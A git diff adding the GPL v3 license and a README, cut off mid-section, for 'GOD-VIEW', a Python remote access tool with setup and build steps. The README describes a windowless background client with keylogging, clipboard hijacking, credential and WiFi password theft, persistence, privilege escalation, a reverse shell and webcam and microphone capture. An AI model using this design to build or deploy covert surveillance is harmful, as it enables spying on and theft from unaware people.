-0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..263e1ea --- /dev/null +++ b/README.md @@ -0,0 +1,646 @@ +# GOD-VIEW +Free, open-source remote access tool for Windows, Mac & Linux. + +## Description +GOD-VIEW (3/3) hosts an TCP & HTTP server, supporting C&C with extensive features & flexibility. It has a CLI along with a desktop / web GUI. Supporting Windows, Mac & Linux, responsive design & an organized CLI. All commands can be run on 100+ clients without impacting the response time. + + + +## Installation +* git clone https://git.alvinhavel.com/GOD-VIEW && cd GOD-VIEW +* pip install -r build/requirements.txt +* **Windows** + * pip install pipwin && pipwin install PyAudio && pipwin install VideoCapture + * start python host.py && start python bot.py +* **Mac / Linux** + * Download PyAudio from https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio + * pip3 install \[.wheel filename\] + * **Terminal 1:** python3 host.py + * **Terminal 2:** python3 bot.py + +## Usage +* **Terminal** + * Use the **help** command to list all available commands + * **Constructing a command** + * **Part 1:** the command name + * **Part 2:** the command arguments (boolean / string) + * **String**: --flag \[input\] + * **Boolean**: --flag + * **Commands may look like this** + * list + * session --id abcd + * session --id abcd --remove + * screenshot --monitor 1 --show +* **GUI** + * **Default login credentials** + * **Username:** god + * **Password:** view + * **Click the button above "No Active Windows To Manage" to view all available commands** + * Commands with a link icon beside them requires an active session + * Commands with a list icon beside them has arguments (flags) + * If the command does not take any parameters, it might simply run the command + without creating a window + * **Click on a command button** + * Fill out the command arguments if necessary before executing the command + * **To enter a session with a client simply click on the client row & right-click** + * **Shift + click & control + click is also supported to select multiple rows** +* **Outside of LAN** + * Edit the **client/state.py** file with the appropriate server address + * Static.IP = \[Your server's IP\] + * Static.PORT = \[Your server's port\] + +## Executable +* *Requires pyinstaller in path* + * build --file host.py --icon build/gv.ico --window + * build --file bot.py --icon build/gv.ico + +The difference between the builds is that the client script is windowless, becoming a background process operation without the interference of the user. + +## Features +* TCP Network Stream (IPV4 & IPV6) +* OS Support (Windows, Mac & Linux) +* UI Options (Terminal, Desktop & Web) +* Secure & Fast Network Transfer + * AES128 Encryption + * Deflate Compression + * JSON Serialization + * Cross-Language Encoding +* ~8MB Client Executable +* Stable Reverse Shell +* Independent Streaming Sockets + * Audio Stream (Mic) + * Desktop Stream (Any Monitor) + * Webcam Stream (Any Device) + * Keylogger Stream + * Clipper Stream +* Autotask ANY Command / Commands +* Credentials Recovery +* Persistence +* Privilege Escalation +* Upload / Download (& Execute) +* Keystroke / Mouse Injection +* Python Interpreter +* Process Management +* System Actions + +### Network Architecture + + +> The architecture has the Terminal window as the main server, the GUI as an interface for the Terminal & then the connecting clients. + +## Documentation +**Introduction** + +* What is GOD-VIEW? + * What Does GOD-VIEW Achieve? + * Who can use GOD-VIEW? + * What Makes GOD-VIEW Different? + * How was GOD-VIEW Built? +* What are GOD-VIEW's Features? + * Operating Systems + * IP Versions + * Usage + * Data Transport + * Protocol + * Encryption + * Compression + * Encoding + * Serialization + * Surveillance + * Action + * Execution + * Management + * Connection + * Utility + * Live + * Multiplex + * Terminal + +**The Different Ways of Running GOD-VIEW** + +**Program / File Structure** + +**GOD-VIEW Outside of the Local Network** + +**What GOD-VIEW Doesn’t Implement** + +Introduction +------------ + +### What is GOD-VIEW? +GOD-VIEW is a networking application, with the name referring to a view +from up above, the all seeing eye. GOD-VIEW is the third iteration of +developing a Remote Access Tool, driven by the motivation of +understanding the web, it’s foundation, but more specifically the +communication between computers in networks & processes. This might seem +simple, but it has a multitude of layers below when it comes to +development of a truly great program. Gathering from my previous +attempts which started with the NexRAT project & continued by NeoRAT, +both of which are available on Github as open source projects with major +flaws. But these projects provide the foundation of how communication +between networks & processes can look. + +In practice GOD-VIEW hosts a TCP socket that the client connects to & a +HTTP server that communicates with the server through a websocket +allowing real time communication. + +### What Does GOD-VIEW Achieve? +The GOD-VIEW program supports a large amount of powerful features, that +I will discuss later on. But on a foundational level, GOD-VIEW allows +for secure, fast & non-limiting communication between it’s server & +clients. It accepts connections using the TCP transport protocol & works +with streams of data. It keeps these connections alive by sending beacon +messages in intervals & provides persistent attempts to connect / +reconnect if it fails to establish a connection or in the case that the +connection is ever closed with the server. + +This might seem non-descriptive or difficult to understand what it +means, but it will all make sense as I will in detail walk through +everything the application archives & how the program works. + +### Who can use GOD-VIEW? +The program makes availability one of its core foundational beliefs. +GOD-VIEW supports the Windows, Linux & Mac operating systems. + +Both the server & client program supports these operating systems. The +server also supports a Desktop GUI application that requires Google +Chrome installed. This GUI application can also be used in a browser, +this does not require Google Chrome installed. This desktop / web GUI +supports all major browsers except for Internet Explorer with device +support from 320x320+ (iPhone 5+) & supports mobile specific +interactions when right clicks for example is not possible. + +The program also supports both the IPV4 & IPV6 protocols & can be run +from any directory on the filesystem (all paths are accepted, relative +or absolute). + +Overall GOD-VIEW is very flexible & supports all the major operating +systems & different ways to interact with an application, be it through +the terminal, desktop or web. + +GOD-VIEW also supports running the program with an interpreter or as an +executable. + +### What Makes GOD-VIEW Different? +The things that make GOD-VIEW different can be both seen as positive & +negative. The major difference is the availability as mentioned. It also +provides a neat & well thought out design, with soothing color schemes & +responsive action-reaction design thinking. It provides for +beginner-to-advanced usage, but always, even when used in the terminal +with describing colors & never leaves with the “what is happening” +interaction. + +The desktop / web is built using sustainable methods & complete custom +design. + +The availability is not the only thing that is different, GOD-VIEW +provides an extremely powerful zero-limitations of actions when it comes +to performing a command to 1 or 100 clients at the same time, however +taxing / complex the command is, with no extra delay between responses +from every client. GOD-VIEW also never writes / stores anything on the +client’s filesystem. + +### How was GOD-VIEW Built? +GOD-VIEW was built using the Python (blessing & a curse) programming +language, following the object oriented paradigm, for the client / +server & supports *Python 3.7+*. + +The program also utilizes third party libraries, which are required, +with specific intentions to avoid bloating the program. These can be +installed using *pip* / direct download link to a .whl file. The program +uses multiple formats to store data, using sqlite3 for the local +database, text files, csv files & the PNG format for images. + +To build the executable file requires *pyinstaller* to be in the path +variable. + +The desktop / web GUI was built using ReactJS with +TypeScript**\[front-end\]**, redux for global state management & styled +components for the custom design. It communicates with the server using +websockets **\[back-end\]**. + +As mentioned previously, the desktop GUI requires *Google Chrome* +installed & if it’s not available will default to web GUI. + +What are GOD-VIEW's Features? +----------------------------- + +### Operating Systems +* Windows +* Linux +* Mac + +### IP Versions +* IPV4 +* IPV6 + +### Usage +* Terminal (Command Line) +* Desktop Application +* Web Application + * All Major Browsers + * Responsive Design (320x320+) + * Mobile friendly + * Login Protection + +### Data Transport +#### Protocol +* Transmission Control Protocol (TCP) + * Transport Level Protocol +#### Encryption + +* AES128 Encryption +* \[Not SSL\] + * Self-Signed Certificates Require OpenSSL + * Requires Certification Expiration Date + * Requires DNS Hostname + +#### Compression +* Deflate Compression +* PNG Image Compression +* \[Not JPEG\] + * Can be Less Effective + * *Implementations difficulties* + * *Supports Lossy Compression* + +#### Encoding +* UTF-8 + * Windows Code Page Support +* Base64 + +#### Serialization +* JSON +* \[Not Pickle\] + * A lot Easier Usage + * Allows Remote Code Execution + +### Surveillance +GOD-VIEW supports multiple ways of gathering large amounts of +information, with 30 data points upon initial connection, this is among +other things the country, operating system, antivirus & privileges of +the connected client. + +There is also more specific information that can be gathered about the +clients which are about the GPU, CPU, Memory, Disk, Network & IO. +**\[Sysinfo\]** + +GOD-VIEW provides the ability to upload files from the server or an URL +& the option to execute this file upon upload. It’s also possible to +download files or directories to the server & execute the file upon +successful download. **\[Upload / Download\]** + +The recover commands allow you to get the WIFI passwords stored on the +client's computer, the browser history & bookmarks of most browsers. +**\[Recover\]** + +You can capture a screenshot of one or all monitors & have the options +to display the image on the server. You also have the option to take a +snapshot from the webcam, working the same as taking a screenshot, but +without the option of taking a single snapshot of all connected webcams. +**\[Screenshot / Snapshot\]** + +### Action +The action namespace holds commands with the intent to perform specific +system actions. You can shutdown, restart, logout, hibernate & standby +the clients computer. **\[System\]** + +You can alert the client’s computer with a messagebox, of which you can +set the title, the text & specify the symbol of the messagebox. The +symbol can represent a question, information, danger or warning. +**\[Alert\]** + +The process command allows you to list all running tasks & the clients +open network connections, providing information about them. You then +have the option to kill anyone of these processes. **\[Process\]** + +The clipboard command allows you to copy data to the clipboard, empty +the clipboard & get the data of the clipboard. **\[Clipboard\]** + +The browse command allows you to enter one or more URLs to be opened in +the default browser of the client system. **\[Browse\]** + +### Execution +When it comes to the execution namespace, it holds some of the most +interesting & vital commands. It allows inline injection of keyboard / +mouse actions or running a script from a file. The language of this +injection is GOD-VIEW’s own. It’s very simple & not very strict. + +The language consists of key, value pairs, separated by a space. + +**press \[Key / Button\]** + +**hold \[Key / Button\]** + +**release \[Key / Button\]** + +**type \[Text\]** + +**position \[X,Y\]** + +**move 